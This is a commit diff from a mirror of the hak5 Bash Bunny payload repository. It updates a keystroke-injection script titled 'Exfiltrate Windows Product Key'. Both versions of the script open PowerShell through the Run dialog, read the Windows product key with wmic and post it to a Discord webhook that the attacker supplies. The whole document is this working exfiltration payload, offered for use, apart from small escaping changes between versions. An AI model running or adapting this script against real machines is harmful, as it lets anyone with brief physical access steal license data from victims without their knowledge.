hak5
/
bashbunny-payloads
mirror of https://github.com/hak5/bashbunny-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update payload.txt

pull/673/head
Aleff 2024-06-11 08:08:35 +02:00
parent 2a47594e3a
commit 96feaedd48
1 changed files with 16 additions and 19 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

35
payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt
View File

@ -1,18 +1,18 @@
* REM ###################################################
* REM # #
* REM # Title : Exfiltrate Windows Product Key #
* REM # Author : Aleff #
* REM # Version : 1.0 #
* REM # Category : Exfiltration #
* REM # Target : Windows 10-11 #
* REM # #
* REM ###################################################
###################################################
# #
# Title : Exfiltrate Windows Product Key #
# Author : Aleff #
# Version : 1.0 #
# Category : Exfiltration #
# Target : Windows 10-11 #
# #
###################################################
ATTACKMODE HID
QUACK REM VARIABLES:
QUACK REM Put here your Discord Webhook
DISCORD-WEBHOOK="https://discord.com/api/webhooks/0123456789.../abcefg..."
DISCORD-WEBHOOK='https://discord.com/api/webhooks/0123456789.../abcefg...'
QUACK DELAY 3000
QUACK GUI r
@ -20,29 +20,26 @@ QUACK DELAY 1000
QUACK STRING powershell
QUACK ENTER
QUACK DELAY 2000
QUACK STRING $hookUrl = \"$DISCORD-WEBHOOK\"
QUACK STRING \$exfiltration = @\"
QUACK ENTER
QUACK DELAY 500
QUACK STRING $exfiltration = @\"
QUACK STRING \$(wmic path softwarelicensingservice get OA3xOriginalProductKey)
QUACK ENTER
QUACK DELAY 500
QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKey)
QUACK ENTER
QUACK DELAY 500
QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription)
QUACK STRING \$(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription)
QUACK ENTER
QUACK DELAY 500
QUACK STRING \"@
QUACK ENTER
QUACK DELAY 500
QUACK STRING $payload = [PSCustomObject]@{
QUACK STRING \$payload = [PSCustomObject]@{
QUACK ENTER
QUACK DELAY 500
QUACK STRING content = $exfiltration
QUACK STRING content = \$exfiltration
QUACK ENTER
QUACK DELAY 500
QUACK STRING }
QUACK ENTER
QUACK DELAY 500
QUACK STRING Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'; exit
QUACK STRING Invoke-RestMethod -Uri $DISCORD-WEBHOOK -Method Post -Body (\$payload | ConvertTo-Json) -ContentType 'Application/Json'; exit
QUACK ENTER